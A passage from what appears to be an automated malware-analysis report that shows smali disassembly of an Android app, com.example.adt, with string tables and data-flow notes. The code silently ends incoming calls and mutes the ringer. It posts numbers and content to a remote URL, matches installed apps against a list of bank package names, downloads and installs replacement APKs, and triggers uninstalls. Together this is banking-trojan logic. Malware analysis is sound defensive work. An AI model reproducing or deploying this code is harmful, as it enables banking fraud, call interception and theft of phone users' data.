128invoke-static {v2}, Lcom/example/adt/DownLoad;->openFile(Ljava/io/File;)V
129try_end_a9:
130sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
132const-string v3, "\u6211\u5df2\u7ecf\u63a5\u6536\u5230\u4e86\u5378\u8f7d\u8f6f\u4ef6\u7684\u5e7f\u64ad"
134invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6211\u5df2\u7ecf\u63a5\u6536\u5230\u4e86\u5378\u8f7d\u8f6f\u4ef6\u7684\u5e7f\u64ad
135cond_b0: return-void
136catch_b1: move-exception v0
138invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
139goto/16 :goto_a9
140cond_b6:
141sget-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
143invoke-static {v2}, Lcom/example/adt/CoreService;->uninstallAPK(Ljava/lang/String;)V
144try_end_bb: goto/16 :goto_a9
145catch_bc: move-exception v2
146goto/16 :goto_a9
Strings
  • incoming_number
  • android.intent.action.NEW_OUTGOING_CALL
  • audio
  • phone
  • iscall
  • \u6765\u7535\u53f7\u7801 \uff1a
  • \u72b6\u6001:
  • \u62e6\u622a\u547d\u4ee4\u662f\u5426\u5f00\u542f =>
Position Instruction Meta Information
0.parameter "context"
1.parameter "intent"
2.prologue
3const/4 v6, 0x0
5invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
6move-result-object v0
8const-string v4, "incoming_number"
10invoke-virtual {p2, v4}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: incoming_number
11move-result-object v4
12iput-object v4, p0, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String;
14const-string v4, "android.intent.action.NEW_OUTGOING_CALL"
16invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.NEW_OUTGOING_CALL
17move-result v4
18if-nez v4, :cond_35
19const/4 v2, 0x0
21sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
23const-string v5, "audio"
25invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: audio
26move-result-object v2
27check-cast v2, Landroid/media/AudioManager;
29invoke-virtual {v2, v6, v6}, Landroid/media/AudioManager;->setVibrateSetting(II)V
  • Data flow analysis:
    • vibrateType: 0
    • vibrateSetting: 0
31invoke-virtual {v2, v6}, Landroid/media/AudioManager;->setRingerMode(I)V
  • Data flow analysis:
    • ringerMode: 0
33const-string v4, "phone"
35invoke-virtual {p1, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: phone
36move-result-object v3
37check-cast v3, Landroid/telephony/TelephonyManager;
38try_start_2e:
39invoke-virtual {v3}, Landroid/telephony/TelephonyManager;->getCallState()I
40move-result v4
41packed-switch v4, :pswitch_data_a2
42pswitch_35: return-void
43pswitch_36:
44sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
46const-string v5, "iscall"
47const/4 v6, 0x1
49invoke-static {v4, v5, v6}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I
50move-result v4
52invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
53move-result-object v1
55sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream;
56new-instance v5, Ljava/lang/StringBuilder;
58const-string v6, "\u6765\u7535\u53f7\u7801 \uff1a "
60invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6765\u7535\u53f7\u7801 \uff1a
62iget-object v6, p0, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String;
64invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
65move-result-object v5
67const-string v6, " \u72b6\u6001: "
69invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \u72b6\u6001:
70move-result-object v5
72invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
73move-result-object v5
75invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
76move-result-object v5
78invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
79const/4 v4, 0x1
81invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 1
82move-result-object v4
84invoke-virtual {v1, v4}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z
85move-result v4
86if-eqz v4, :cond_35
88invoke-direct {p0}, Lcom/example/adt/PhoneListener;->endCall()V
90sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream;
91new-instance v5, Ljava/lang/StringBuilder;
93const-string v6, "\u62e6\u622a\u547d\u4ee4\u662f\u5426\u5f00\u542f =>"
95invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u62e6\u622a\u547d\u4ee4\u662f\u5426\u5f00\u542f =>
97invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
98move-result-object v5
100invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
101move-result-object v5
103invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
104new-instance v4, Ljava/lang/Thread;
105new-instance v5, Lcom/example/adt/PhoneListener$1;
107invoke-direct {v5, p0}, Lcom/example/adt/PhoneListener$1;-><init>(Lcom/example/adt/PhoneListener;)V
109invoke-direct {v4, v5}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
111invoke-virtual {v4}, Ljava/lang/Thread;->start()V
112new-instance v4, Ljava/lang/Thread;
113new-instance v5, Lcom/example/adt/PhoneListener$2;
115invoke-direct {v5, p0}, Lcom/example/adt/PhoneListener$2;-><init>(Lcom/example/adt/PhoneListener;)V
117invoke-direct {v4, v5}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
119invoke-virtual {v4}, Ljava/lang/Thread;->start()V
120try_end_9f: goto/16 :goto_35
121catch_a0: move-exception v4
122goto/16 :goto_35
Strings
  • num1
  • num2
  • com
  • UTF-8
  • \u8fde\u63a5\u5931\u8d25
Position Instruction Meta Information
0.parameter "httpUrl"
1.parameter "id"
2.parameter "pw"
3.parameter "cn"
4.prologue
6const-string v4, ""
7new-instance v1, Lorg/apache/http/client/methods/HttpPost;
9invoke-direct {v1, p1}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
10new-instance v3, Ljava/util/ArrayList;
12invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
13new-instance v5, Lorg/apache/http/message/BasicNameValuePair;
15const-string v6, "num1"
17invoke-direct {v5, v6, p2}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: num1
19invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
20new-instance v5, Lorg/apache/http/message/BasicNameValuePair;
22const-string v6, "num2"
24invoke-direct {v5, v6, p3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: num2
26invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
27new-instance v5, Lorg/apache/http/message/BasicNameValuePair;
29const-string v6, "com"
31invoke-direct {v5, v6, p4}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com
33invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
34try_start_2a: new-instance v5, Lorg/apache/http/client/entity/UrlEncodedFormEntity;
36const-string v6, "UTF-8"
38invoke-direct {v5, v3, v6}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: UTF-8
40invoke-virtual {v1, v5}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V
41new-instance v5, Lorg/apache/http/impl/client/DefaultHttpClient;
43invoke-direct {v5}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
45invoke-virtual {v5, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
46move-result-object v2
48invoke-interface {v2}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
49move-result-object v5
51invoke-interface {v5}, Lorg/apache/http/StatusLine;->getStatusCode()I
52move-result v5
53const/16 v6, 0xc8
54if-ne v5, v6, :cond_52
56invoke-interface {v2}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
57move-result-object v5
59invoke-static {v5}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String;
60move-result-object v4
61goto_51: return-object v4
62cond_52:
63const-string v4, "\u8fde\u63a5\u5931\u8d25"
64try_end_54: goto/16 :goto_51
65catch_55: move-exception v0
67invoke-virtual {v0}, Lorg/apache/http/client/ClientProtocolException;->printStackTrace()V
68goto/16 :goto_51
69catch_5a: move-exception v0
71invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
72goto/16 :goto_51
73catch_5f: move-exception v0
75invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
76goto/16 :goto_51
Strings
  • #
  • |
  • apk
  • app.auto.install
Position Instruction Meta Information
0.prologue
2const-string v0, ""
4const-string v6, ""
6sget-object v11, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
8invoke-virtual {v11}, Lcom/example/adt/CoreService;->getPackageManager()Landroid/content/pm/PackageManager;
9move-result-object v10
10const/4 v11, 0x0
12invoke-virtual {v10, v11}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
  • Data flow analysis:
    • flags: 0
13move-result-object v8
15invoke-interface {v8}, Ljava/util/List;->iterator()Ljava/util/Iterator;
16move-result-object v11
17cond_13:
18invoke-interface {v11}, Ljava/util/Iterator;->hasNext()Z
19move-result v12
20if-nez v12, :cond_1b
21move-object v7, v6
22goto_1a: return-object v7
23cond_1b:
24invoke-interface {v11}, Ljava/util/Iterator;->next()Ljava/lang/Object;
25move-result-object v9
26check-cast v9, Landroid/content/pm/PackageInfo;
28iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
29iget v12, v12, Landroid/content/pm/ApplicationInfo;->flags:I
30and-int/lit8 v12, v12, 0x1
31if-nez v12, :cond_13
33iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
34iget v12, v12, Landroid/content/pm/ApplicationInfo;->flags:I
35and-int/lit16 v12, v12, 0x80
36if-nez v12, :cond_13
37new-instance v12, Ljava/lang/StringBuilder;
39invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
40move-result-object v13
42invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
44iget-object v13, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
46invoke-virtual {v13, v10}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
47move-result-object v13
49invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
50move-result-object v12
52const-string v13, "#"
54invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
55move-result-object v12
57iget-object v13, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
59iget-object v13, v13, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
61invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
62move-result-object v12
64const-string v13, "|"
66invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: |
67move-result-object v12
69invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
70move-result-object v0
71const/4 v2, 0x0
72goto_5d:
73sget-object v12, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
74array-length v12, v12
75if-ge v2, v12, :cond_13
77sget-object v12, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
78aget-object v5, v12, v2
80sget-object v12, Lcom/example/adt/Config;->upbank:[Ljava/lang/String;
81aget-object v4, v12, v2
83iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
85iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
87invoke-virtual {v5, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
88move-result v12
89if-eqz v12, :cond_a1
91invoke-static {v4}, Lcom/example/adt/App;->hasApp(Ljava/lang/String;)Z
92move-result v12
93if-nez v12, :cond_a1
94sget v12, Lcom/example/adt/Config;->isAlert:I
95if-nez v12, :cond_a1
97sget-object v11, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String;
98aget-object v6, v11, v2
99new-instance v3, Landroid/content/Intent;
101invoke-direct {v3}, Landroid/content/Intent;-><init>()V
102new-instance v1, Landroid/os/Bundle;
104invoke-direct {v1}, Landroid/os/Bundle;-><init>()V
106const-string v11, "apk"
108invoke-virtual {v1, v11, v6}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: apk
110invoke-virtual {v3, v1}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
112const-string v11, "app.auto.install"
114invoke-virtual {v3, v11}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: app.auto.install
116sget-object v11, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
118invoke-virtual {v11, v3}, Lcom/example/adt/CoreService;->sendBroadcast(Landroid/content/Intent;)V
119move-object v7, v6
120goto/16 :goto_1a
121cond_a1: add-int/lit8 v2, v2, 0x1
122goto/16 :goto_5d
Strings
  • .apk
  • /
  • time
  • time exceed
Position Instruction Meta Information
0.parameter "httpUrl"
1.prologue
2new-instance v12, Ljava/lang/StringBuilder;
4invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
5move-result-object v13
7invoke-virtual {v13}, Ljava/util/Calendar;->getTimeInMillis()J
8move-result-wide v13
10invoke-static {v13, v14}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
11move-result-object v13
13invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
15const-string v13, ".apk"
17invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: .apk
18move-result-object v12
20invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
21move-result-object v6
22new-instance v10, Ljava/io/File;
24invoke-static {}, Lcom/example/adt/Config;->getSDPath()Ljava/lang/String;
25move-result-object v12
27invoke-direct {v10, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V
29invoke-virtual {v10}, Ljava/io/File;->exists()Z
30move-result v12
31if-nez v12, :cond_2d
33invoke-virtual {v10}, Ljava/io/File;->mkdir()Z
34cond_2d: new-instance v5, Ljava/io/File;
35new-instance v12, Ljava/lang/StringBuilder;
37invoke-static {}, Lcom/example/adt/Config;->getSDPath()Ljava/lang/String;
38move-result-object v13
40invoke-static {v13}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
41move-result-object v13
43invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
45const-string v13, "/"
47invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
48move-result-object v12
50invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v12
53invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
54move-result-object v12
56invoke-direct {v5, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V
57try_start_4d: new-instance v11, Ljava/net/URL;
59invoke-direct {v11, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
60try_start_52:
61invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
62move-result-object v1
63check-cast v1, Ljava/net/HttpURLConnection;
65invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
66move-result-object v8
67new-instance v7, Ljava/io/FileOutputStream;
69invoke-direct {v7, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
70const/16 v12, 0x400
71new-array v0, v12, [B
73invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
74const-wide/16 v2, 0x0
76invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getResponseCode()I
77move-result v12
78const/16 v13, 0x190
79if-lt v12, v13, :cond_8f
81const-string v12, "time"
83const-string v13, "time exceed"
85invoke-static {v12, v13}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: time
    • msg: time exceed
86goto_79:
87invoke-virtual {v1}, Ljava/net/HttpURLConnection;->disconnect()V
89invoke-virtual {v7}, Ljava/io/FileOutputStream;->close()V
91invoke-virtual {v8}, Ljava/io/InputStream;->close()V
92goto_82: return-object v5
93cond_83: if-eqz v8, :cond_79
95invoke-virtual {v8, v0}, Ljava/io/InputStream;->read([B)I
96move-result v9
97if-lez v9, :cond_79
98const/4 v12, 0x0
100invoke-virtual {v7, v0, v12, v9}, Ljava/io/FileOutputStream;->write([BII)V
  • Data flow analysis:
    • p1: 0
101try_end_8f: const-wide/high16 v12, 0x4059
102cmpg-double v12, v2, v12
103if-lez v12, :cond_83
104goto/16 :goto_79
105catch_96: move-exception v4
106try_start_97:
107invoke-virtual {v4}, Ljava/io/IOException;->printStackTrace()V
108try_end_9a: goto/16 :goto_82
109catch_9b: move-exception v4
111invoke-virtual {v4}, Ljava/net/MalformedURLException;->printStackTrace()V
112goto/16 :goto_82
Strings
  • connectivity
  • networkInfo.getExtraInfo() is
  • cmnet
Position Instruction Meta Information
0.parameter "context"
1.annotation build Landroid/annotation/SuppressLint;
2value = {
3"DefaultLocale"
4}
5.end annotation
6.prologue
7const/4 v2, -0x1
9const-string v5, "connectivity"
11invoke-virtual {p0, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: connectivity
12move-result-object v0
13check-cast v0, Landroid/net/ConnectivityManager;
15invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
16move-result-object v4
17if-nez v4, :cond_11
18move v3, v2
19goto_10: return v3
20cond_11:
21invoke-virtual {v4}, Landroid/net/NetworkInfo;->getType()I
22move-result v1
24sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream;
25new-instance v6, Ljava/lang/StringBuilder;
27const-string v7, "networkInfo.getExtraInfo() is "
29invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: networkInfo.getExtraInfo() is
31invoke-virtual {v4}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
32move-result-object v7
34invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35move-result-object v6
37invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
38move-result-object v6
40invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
41if-nez v1, :cond_44
43invoke-virtual {v4}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
44move-result-object v5
46invoke-virtual {v5}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
47move-result-object v5
49const-string v6, "cmnet"
51invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: cmnet
52move-result v5
53if-eqz v5, :cond_42
54const/4 v2, 0x3
55goto_40: move v3, v2
56goto/16 :goto_10
57cond_42: const/4 v2, 0x2
58goto/16 :goto_40
59cond_44: const/4 v5, 0x1
60if-ne v1, v5, :cond_40
61const/4 v2, 0x1
62goto/16 :goto_40
Strings
  • \u8981\u5378\u8f7d\u7684\u5305 =>
  • package:
  • android.intent.action.DELETE
Position Instruction Meta Information
0.parameter "packageName"
1.prologue
3sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
4new-instance v3, Ljava/lang/StringBuilder;
6const-string v4, "\u8981\u5378\u8f7d\u7684\u5305 => "
8invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u8981\u5378\u8f7d\u7684\u5305 =>
10invoke-virtual {v3, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v3
13invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
14move-result-object v3
16invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
17new-instance v2, Ljava/lang/StringBuilder;
19const-string v3, "package:"
21invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: package:
23invoke-virtual {p0}, Ljava/lang/String;->trim()Ljava/lang/String;
24move-result-object v3
26invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
27move-result-object v2
29invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
30move-result-object v2
32invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
33move-result-object v1
34new-instance v0, Landroid/content/Intent;
36const-string v2, "android.intent.action.DELETE"
38invoke-direct {v0, v2, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.DELETE
39const/high16 v2, 0x1000
41invoke-virtual {v0, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 4096
43sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
45invoke-virtual {v2, v0}, Lcom/example/adt/CoreService;->startActivity(Landroid/content/Intent;)V
46return-void
Strings
  • OpenFile
  • android.intent.action.VIEW
  • application/vnd.android.package-archive
Position Instruction Meta Information
0.parameter "file"
1.prologue
3const-string v1, "OpenFile"
5invoke-virtual {p0}, Ljava/io/File;->getName()Ljava/lang/String;
6move-result-object v2
8invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: OpenFile
9new-instance v0, Landroid/content/Intent;
11invoke-direct {v0}, Landroid/content/Intent;-><init>()V
12const/high16 v1, 0x1000
14invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 4096
16const-string v1, "android.intent.action.VIEW"
18invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: android.intent.action.VIEW
20invoke-static {p0}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
21move-result-object v1
23const-string v2, "application/vnd.android.package-archive"
25invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p1: application/vnd.android.package-archive
27sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
29invoke-virtual {v1, v0}, Lcom/example/adt/CoreService;->startActivity(Landroid/content/Intent;)V
30return-void
Strings
  • #
  • |
Position Instruction Meta Information
0.prologue
2const-string v0, ""
4iget-object v7, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context;
6invoke-virtual {v7}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
7move-result-object v4
8const/4 v7, 0x0
10invoke-virtual {v4, v7}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
  • Data flow analysis:
    • flags: 0
11move-result-object v2
13invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
14move-result-object v7
15cond_11:
16invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
17move-result v8
18if-nez v8, :cond_3c
20sget-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String;
22const-string v8, ""
24invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
25move-result v7
26if-nez v7, :cond_29
28sget-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String;
30invoke-static {v7}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String;
31move-result-object v7
32sput-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String;
33cond_29:
34sget-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String;
36const-string v8, ""
38invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
39move-result v7
40if-nez v7, :cond_3b
42sget-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String;
44invoke-static {v7}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String;
45move-result-object v7
46sput-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String;
47cond_3b: return-object v0
48cond_3c:
49invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
50move-result-object v3
51check-cast v3, Landroid/content/pm/PackageInfo;
53iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
54iget v8, v8, Landroid/content/pm/ApplicationInfo;->flags:I
55and-int/lit8 v8, v8, 0x1
56if-nez v8, :cond_11
58iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
59iget v8, v8, Landroid/content/pm/ApplicationInfo;->flags:I
60and-int/lit16 v8, v8, 0x80
61if-nez v8, :cond_11
62new-instance v8, Ljava/lang/StringBuilder;
64invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
65move-result-object v9
67invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
69iget-object v9, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
71invoke-virtual {v9, v4}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
72move-result-object v9
74invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
75move-result-object v8
77const-string v9, "#"
79invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
80move-result-object v8
82iget-object v9, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
84iget-object v9, v9, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
86invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
87move-result-object v8
89const-string v9, "|"
91invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: |
92move-result-object v8
94invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
95move-result-object v0
96const/4 v1, 0x0
97goto_7e:
98sget-object v8, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
99array-length v8, v8
100if-ge v1, v8, :cond_11
102sget-object v8, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
103aget-object v5, v8, v1
105sget-object v8, Lcom/example/adt/Config;->upbank:[Ljava/lang/String;
106aget-object v6, v8, v1
108iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
110iget-object v8, v8, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
112invoke-virtual {v5, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
113move-result v8
114if-eqz v8, :cond_b4
116sget-object v8, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String;
117new-instance v9, Ljava/lang/StringBuilder;
119invoke-static {v8}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
120move-result-object v8
